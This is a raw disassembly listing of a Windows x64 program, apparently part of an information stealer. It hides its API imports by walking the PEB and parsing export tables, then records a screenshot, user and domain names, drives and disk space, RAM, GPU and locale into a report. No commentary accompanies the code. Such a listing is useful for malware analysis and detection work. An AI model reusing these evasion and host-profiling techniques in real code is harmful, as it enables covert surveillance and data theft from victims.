xor r10d, r10d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x1400191df
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x1400191d3
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x1400191ce
cmp byte [rcx], al
jne 0x1400191d3
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x1400191a4
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x1400191fb
test r8b, r8b
jne 0x1400191bb
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140019190
cmp qword [rdi + 0x60], 0
je 0x1400191f7
mov r14d, 0x5a4d
jmp 0x140019130
xor ebx, ebx
mov eax, ebx
jmp 0x140019201
xor ebx, ebx
mov eax, ebx
mov r14d, 0x5a4d
mov rcx, qword [rbp + 0x38]
call rax
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str.ReleaseDC
lea rcx, [rbp + 0x140]
call fcn.140020e40
nop
mov rcx, rax
call fcn.14001c8d0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140019317
nop dword [rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x1400192ff
cmp word [r11], r14w
jne 0x140019312
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140019312
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140019312
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x1400192ff
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x1400192f3
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x1400192ee
cmp byte [rcx], al
jne 0x1400192f3
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x1400192c4
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x14001931a
test r8b, r8b
jne 0x1400192db
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x1400192b0
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x140019317
mov r14d, 0x5a4d
jmp 0x140019250
mov rax, rbx
jmp 0x140019320
mov rax, rbx
mov r14d, 0x5a4d
mov rdx, qword [rbp - 0x58]
xor ecx, ecx
call rax
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str.ReleaseDC
lea rcx, [rbp - 0x10]
call fcn.140020fa0
nop
mov rcx, rax
call fcn.14001c8d0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140019437
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14001941f
cmp word [r11], r14w
jne 0x140019432
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140019432
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140019432
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001941f
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140019413
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rcx + rdx]
test al, al
je 0x14001940e
cmp byte [rcx], al
jne 0x140019413
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x1400193e4
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x14001943a
test r8b, r8b
jne 0x1400193fb
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x1400193d0
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x140019437
mov r14d, 0x5a4d
jmp 0x140019370
mov rax, rbx
jmp 0x140019440
mov rax, rbx
mov r14d, 0x5a4d
mov rdx, qword [rsp + 0x68]
xor ecx, ecx
call rax
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str.screenshot.bmp
lea rcx, [rbp + 0xe0]
call fcn.140021b00
nop
mov rcx, rax
call fcn.14001de70
mov dword [rsp + 0x20], 3
mov r9d, dword [rsp + 0x64]
mov r8, r12
mov rdx, rax
mov rcx, qword [rbp - 0x18]
call fcn.140033ef0
nop
movzx edx, byte [rsp + 0x60]
lea rcx, [rbp + 0x460]
call fcn.140005e50
lea rcx, [rbp + 0x460]
call fcn.140005ab0
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str.User_name:
lea rcx, [rbp - 0x10]
call fcn.140021c80
nop
mov rcx, rax
call fcn.14001dd50
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400194d0
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.140005ad0
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str.USERNAME
lea rcx, [rbp + 0x90]
call fcn.140021de0
nop
mov rcx, rax
call fcn.14001d910
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.1400058f0
mov r12, rax
mov qword [rsp + 0x70], rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x830]
call fcn.140131fa0
mov rcx, r12
call fcn.140005b60
mov r13, rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GetEnvironmentVariableA
lea rcx, [rbp + 0xe0]
call fcn.14001f950
nop
mov rcx, rax
call fcn.14001d030
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140019657
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14001963f
cmp word [r11], r14w
jne 0x140019652
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140019652
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140019652
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001963f
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140019633
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x14001962e
cmp byte [rcx], al
jne 0x140019633
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140019604
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x14001965a
test r8b, r8b
jne 0x14001961b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x1400195f0
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x140019657
mov r14d, 0x5a4d
jmp 0x140019590
mov rax, rbx
jmp 0x140019660
mov rax, rbx
mov r14d, 0x5a4d
mov r8d, 0x104
lea rdx, [rbp + 0x830]
mov rcx, r13
call rax
nop
dec eax
cmp eax, 0x102
ja 0x1400196c3
lea rcx, [rbp + 0x830]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140019690
cmp byte [rbp + rax + 0x82f], 0x5c
jne 0x1400196ba
dec rax
cmp rax, 0x104
jae 0x14001b744
mov byte [rbp + rax + 0x830], 0
lea rdx, [rbp + 0x830]
jmp 0x1400196ca
lea rdx, [0x14015f218]
lea rcx, [rbp - 0x80]
call fcn.1400058f0
nop
mov rcx, r12
call fcn.140005a50
nop
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x460]
call fcn.14001e490
nop
lea rcx, [rbp - 0x80]
call fcn.140005a50
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str.Host_name:
lea rcx, [rbp - 0x10]
call fcn.140021f30
nop
mov rcx, rax
call fcn.14001dd50
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140019720
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.140005ad0
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str.USERDOMAIN
lea rcx, [rbp + 0x90]
call fcn.140022090
nop
mov rcx, rax
call fcn.14001dc40
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.1400058f0
mov r12, rax
mov qword [rsp + 0x70], rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x830]
call fcn.140131fa0
mov rcx, r12
call fcn.140005b60
mov r13, rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GetEnvironmentVariableA
lea rcx, [rbp + 0xe0]
call fcn.14001f950
nop
mov rcx, rax
call fcn.14001d030
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x1400198a7
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14001988f
cmp word [r11], r14w
jne 0x1400198a2
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x1400198a2
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x1400198a2
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001988f
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140019883
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rcx + rdx]
test al, al
je 0x14001987e
cmp byte [rcx], al
jne 0x140019883
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140019854
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x1400198aa
test r8b, r8b
jne 0x14001986b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140019840
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x1400198a7
mov r14d, 0x5a4d
jmp 0x1400197e0
mov rax, rbx
jmp 0x1400198b0
mov rax, rbx
mov r14d, 0x5a4d
mov r8d, 0x104
lea rdx, [rbp + 0x830]
mov rcx, r13
call rax
nop
dec eax
cmp eax, 0x102
ja 0x140019913
lea rcx, [rbp + 0x830]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400198e0
cmp byte [rbp + rax + 0x82f], 0x5c
jne 0x14001990a
dec rax
cmp rax, 0x104
jae 0x14001b74a
mov byte [rbp + rax + 0x830], 0
lea rdx, [rbp + 0x830]
jmp 0x14001991a
lea rdx, [0x14015f218]
lea rcx, [rbp - 0x80]
call fcn.1400058f0
nop
mov rcx, r12
call fcn.140005a50
nop
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x460]
call fcn.14001e490
nop
lea rcx, [rbp - 0x80]
call fcn.140005a50
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str._nDrives:
lea rcx, [rbp - 0x10]
call fcn.1400221f0
nop
mov rcx, rax
call fcn.14001d910
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140019970
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.140005ad0
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GetLogicalDrives
lea rcx, [rbp + 0xe0]
call fcn.140022340
nop
mov rcx, rax
call fcn.14001d380
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140019a90
nop
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140019a7d
cmp word [r11], r14w
jne 0x140019a90
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140019a90
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140019a90
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x140019a7d
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140019a71
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rcx + rdx]
test al, al
je 0x140019a6c
cmp byte [rcx], al
jne 0x140019a71
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140019a44
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
jmp 0x140019a93
test r8b, r8b
jne 0x140019a5b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140019a30
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x140019a90
mov r14d, 0x5a4d
jmp 0x1400199d0
mov rax, rbx
call rax
mov r13d, eax
mov dword [rsp + 0x64], eax
movzx r8d, byte [rsp + 0x60]
test eax, eax
jne 0x140019aef
lea rdx, str.unable_to_resolve_n
lea rcx, [rbp + 0xe0]
call fcn.140022490
nop
mov rcx, rax
call fcn.14001db10
mov r13, 0xffffffffffffffff
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140019ad0
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.140005ad0
nop
jmp 0x140019ed9
lea rdx, [0x14015f4bc]
lea rcx, [rbp + 0x90]
call fcn.1400225f0
nop
mov rcx, rax
call fcn.14001da20
mov rdx, rax
lea rcx, [rbp + 0x4c0]
call fcn.1400058f0
nop
movzx edi, byte [rsp + 0x60]
movzx ebx, byte [rsp + 0x60]
movzx r14d, byte [rsp + 0x60]
movzx r15d, byte [rsp + 0x60]
movzx esi, byte [rsp + 0x60]
movzx r12d, byte [rsp + 0x60]
movsd xmm6, qword [0x14016df38]
test r13b, 1
je 0x140019e9f
lea rcx, [rbp + 0x4c0]
call fcn.140005b60
mov qword [rbp - 0x50], rax
movzx r8d, dil
lea rdx, str.GetDiskFreeSpaceExA
lea rcx, [rbp + 0xe0]
call fcn.140022730
nop
mov rcx, rax
call fcn.14001d6f0
mov qword [rbp - 0x30], rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rcx]
cmp qword [rdx + 0x60], 0
je 0x140019c7f
mov r10, qword [rdx + 0x30]
mov rdx, qword [rdx]
mov qword [rbp - 0x60], rdx
test r10, r10
je 0x140019b96
mov eax, 0x5a4d
cmp word [r10], ax
jne 0x140019c7f
movsxd rax, dword [r10 + 0x3c]
cmp dword [rax + r10], 0x4550
jne 0x140019c7f
mov ecx, dword [rax + r10 + 0x88]
test ecx, ecx
je 0x140019c7f
lea rax, [r10 + rcx]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov qword [rbp - 0x48], rcx
mov r13d, dword [rax + 0x20]
add r13, r10
mov ecx, dword [rax + 0x24]
add rcx, r10
mov qword [rbp - 0x38], rcx
xor ecx, ecx
mov r11d, ecx
mov r9d, ecx
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x68], eax
test eax, eax
je 0x140019b96
nop dword [rax]
nop dword [rax + rax]
xor r8b, r8b
mov ecx, dword [r13 + r9*4]
add rcx, r10
cmp byte [rcx], r8b
je 0x140019c69
mov rdx, qword [rbp - 0x30]
sub rdx, rcx
movzx eax, byte [rcx + rdx]
test al, al
je 0x140019c64
cmp byte [rcx], al
jne 0x140019c69
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140019c37
mov rax, qword [rbp - 0x38]
movzx eax, word [rax + r9*2]
mov rcx, qword [rbp - 0x48]
mov r11d, dword [rcx + rax*4]
add r11, r10
jmp 0x140019c82
test r8b, r8b
jne 0x140019c4e
inc r11d
inc r9
cmp r11d, dword [rsp + 0x68]
jb 0x140019c20
mov rdx, qword [rbp - 0x60]
jmp 0x140019b96
xor r11d, r11d
lea r9, [rbp + 0x520]
lea r8, [rbp + 0x408]
lea rdx, [rbp + 0x400]
mov rcx, qword [rbp - 0x50]
call r11
nop
test eax, eax
je 0x140019e9a
movzx r8d, bl
lea rdx, str._Drive:
lea rcx, [rbp - 0x10]
call fcn.1400228a0
nop
mov rcx, rax
call fcn.14001d910
mov r13, 0xffffffffffffffff
mov r8, r13
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140019cd0
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.140005ad0
nop
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x460]
call fcn.14001e490
movzx r8d, r14b
lea rdx, str.__Total_Space:
lea rcx, [rbp - 0x10]
call fcn.1400229f0
nop
mov rcx, rax
call fcn.14001d820
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140019d20
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.140005ad0
nop
mov rcx, qword [rbp + 0x408]
xorps xmm1, xmm1
test rcx, rcx
js 0x140019d50
cvtsi2sd xmm1, rcx
jmp 0x140019d65
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm1, rax
addsd xmm1, xmm1
mulsd xmm1, xmm6
lea rcx, [rbp - 0x10]
call fcn.1400153b0
nop
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.14001e490
nop
lea rcx, [rbp - 0x10]
call fcn.140005a50
movzx r8d, r15b
lea rdx, [0x14015f4f8]
lea rcx, [rbp - 0x10]
call fcn.140022b60
nop
mov rcx, rax
call fcn.14001cad0
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140019db0
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.140005ad0
nop
movzx r8d, sil
lea rdx, str.___Free_Space:
lea rcx, [rbp - 0x10]
call fcn.140022ca0
nop
mov rcx, rax
call fcn.14001d820
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140019df0
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.140005ad0
nop
mov rcx, qword [rbp + 0x400]
xorps xmm1, xmm1
test rcx, rcx
js 0x140019e20
cvtsi2sd xmm1, rcx
jmp 0x140019e35
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm1, rax
addsd xmm1, xmm1
mulsd xmm1, xmm6
lea rcx, [rbp - 0x10]
call fcn.1400153b0
nop
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.14001e490
nop
lea rcx, [rbp - 0x10]
call fcn.140005a50
movzx r8d, r12b
lea rdx, [0x14015f4f8]
lea rcx, [rbp - 0x10]
call fcn.140022e10
nop
mov rcx, rax
call fcn.14001cad0
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140019e80
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.140005ad0
nop
mov r13d, dword [rsp + 0x64]
lea rax, [rbp + 0x4c0]
cmp qword [rbp + 0x4d8], 0x10
cmovae rax, qword [rbp + 0x4c0]
inc byte [rax]
shr r13d, 1
mov dword [rsp + 0x64], r13d
jne 0x140019b44
lea rcx, [rbp + 0x4c0]
call fcn.140005a50
mov r13, 0xffffffffffffffff
mov dword [rbp + 0x420], 0x40
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GlobalMemoryStatusEx
lea rcx, [rbp + 0xe0]
call fcn.140022f50
nop
mov rcx, rax
call fcn.14001cf00
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x14001a006
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140019fef
mov r14d, 0x5a4d
cmp word [r11], r14w
jne 0x140019ffe
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140019ffe
mov ecx, dword [rax + r11 + 0x88]
xor r12d, r12d
test ecx, ecx
je 0x14001a001
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, r12d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x140019ff2
nop dword [rax + rax]
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140019fe1
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rcx + rdx]
test al, al
je 0x140019fdc
cmp byte [rcx], al
jne 0x140019fe1
mov r8b, 1
inc rcx
cmp byte [rcx], r12b
jne 0x140019fb4
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
jmp 0x14001a00c
test r8b, r8b
jne 0x140019fcb
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140019fa0
jmp 0x140019ff2
xor r12d, r12d
cmp qword [rdi + 0x60], 0
je 0x14001a009
jmp 0x140019f30
xor r12d, r12d
mov rax, r12
jmp 0x14001a012
xor r12d, r12d
mov rax, r12
mov r14d, 0x5a4d
lea rcx, [rbp + 0x420]
call rax
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, [0x14015f4f8]
lea rcx, [rbp - 0x10]
call fcn.140023200
nop
mov rcx, rax
call fcn.14001cad0
mov rbx, rax
mov rdx, qword [rbp + 0x428]
shr rdx, 0x1e
inc edx
lea rcx, [rbp + 0x4e0]
call fcn.14001e580
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str._nRam:
lea rcx, [rbp + 0x90]
call fcn.1400230b0
nop
mov rcx, rax
call fcn.14001d5f0
mov r9, r13
nop dword [rax]
inc r9
cmp byte [rax + r9], 0
jne 0x14001a080
mov r8, rax
xor edx, edx
lea rcx, [rbp + 0x4e0]
call fcn.140025e60
mov rdx, rax
lea rcx, [rbp + 0x480]
call fcn.1400058c0
nop
mov r8, r13
nop
inc r8
cmp byte [rbx + r8], 0
jne 0x14001a0b0
mov rdx, rbx
lea rcx, [rbp + 0x480]
call fcn.140005ad0
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400058c0
nop
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x460]
call fcn.14001e490
nop
lea rcx, [rbp - 0x80]
call fcn.140005a50
nop
lea rcx, [rbp + 0x480]
call fcn.140005a50
nop
lea rcx, [rbp + 0x4e0]
call fcn.140005a50
nop
mov dword [rbp + 0x680], 0x1a8
movzx r8d, byte [rsp + 0x60]
lea rdx, str.EnumDisplayDevicesA
lea rcx, [rbp + 0xe0]
call fcn.140023340
nop
mov rcx, rax
call fcn.14001d6f0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x14001a224
nop dword [rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14001a20d
cmp word [r11], r14w
jne 0x14001a21f
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14001a21f
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14001a21f
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, r12d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001a20d
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x14001a201
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rcx + rdx]
test al, al
je 0x14001a1fc
cmp byte [rcx], al
jne 0x14001a201
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x14001a1d4
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
jmp 0x14001a227
test r8b, r8b
jne 0x14001a1eb
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x14001a1c0
cmp qword [rdi + 0x60], 0
je 0x14001a224
mov r14d, 0x5a4d
jmp 0x14001a160
mov rax, r12
jmp 0x14001a22d
mov rax, r12
mov r14d, 0x5a4d
mov r9d, 1
lea r8, [rbp + 0x680]
xor edx, edx
xor ecx, ecx
call rax
nop
lea rdx, [rbp + 0x6a4]
lea rcx, [rbp - 0x10]
call fcn.1400058f0
mov rbx, rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str._nGPU:
lea rcx, [rbp + 0x90]
call fcn.1400234b0
nop
mov rcx, rax
call fcn.14001d5f0
mov r9, r13
nop dword [rax]
inc r9
cmp byte [rax + r9], 0
jne 0x14001a280
mov r8, rax
xor edx, edx
mov rcx, rbx
call fcn.140025e60
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400058c0
nop
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x460]
call fcn.14001e490
nop
lea rcx, [rbp - 0x80]
call fcn.140005a50
nop
lea rcx, [rbp - 0x10]
call fcn.140005a50
mov ecx, 0xaa
call fcn.14012fbb0
mov r12, rax
mov ecx, 0x55
call fcn.14012fbb0
mov r13, rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GetUserDefaultLocaleName
lea rcx, [rbp + 0xe0]
call fcn.140023600
nop
mov rcx, rax
call fcn.14001d4c0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x14001a3f3
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14001a3dd
cmp word [r11], r14w
jne 0x14001a3ef
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14001a3ef
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14001a3ef
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
xor r10d, r10d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001a3dd
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x14001a3d1
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rcx + rdx]
test al, al
je 0x14001a3cc
cmp byte [rcx], al
jne 0x14001a3d1
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x14001a3a4
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
jmp 0x14001a3f5
test r8b, r8b
jne 0x14001a3bb
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x14001a390
cmp qword [rdi + 0x60], 0
je 0x14001a3f3
mov r14d, 0x5a4d
jmp 0x14001a330
xor eax, eax
jmp 0x14001a3fb
xor eax, eax
mov r14d, 0x5a4d
mov edx, 0x55
mov rcx, r12
call rax
nop
mov r8d, 0x55
mov rdx, r12
mov rcx, r13
call fcn.140138d80
mov edx, 2
mov rcx, r12
call fcn.14012f66c
movzx r8d, byte [rsp + 0x60]
lea rdx, [0x14015f56c]
lea rcx, [rbp + 0x90]
call fcn.1400238c0
nop
mov rcx, rax
call fcn.14001c7f0
mov rbx, rax
mov rdx, r13
lea rcx, [rbp - 0x10]
call fcn.1400058f0
mov rdi, rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str._nSystem_locale:
lea rcx, [rbp + 0xe0]
call fcn.140023770
nop
mov rcx, rax
call fcn.14001d380
mov r12, 0xffffffffffffffff
mov r9, r12
inc r9
cmp byte [rax + r9], 0
jne 0x14001a484
mov r8, rax
xor edx, edx
mov rcx, rdi
call fcn.140025e60
mov rdx, rax
lea rcx, [rbp + 0x480]
call fcn.1400058c0
nop
mov r8, r12
nop
inc r8
cmp byte [rbx + r8], 0
jne 0x14001a4b0
mov rdx, rbx
lea rcx, [rbp + 0x480]
call fcn.140005ad0
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400058c0
nop
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x460]
call fcn.14001e490
nop
lea rcx, [rbp - 0x80]
call fcn.140005a50
nop
lea rcx, [rbp + 0x480]
call fcn.140005a50
nop
lea rcx, [rbp - 0x10]
call fcn.140005a50
nop
mov edx, 1
mov rcx, r13
call fcn.14012f66c
movzx r8d, byte [rsp + 0x60]
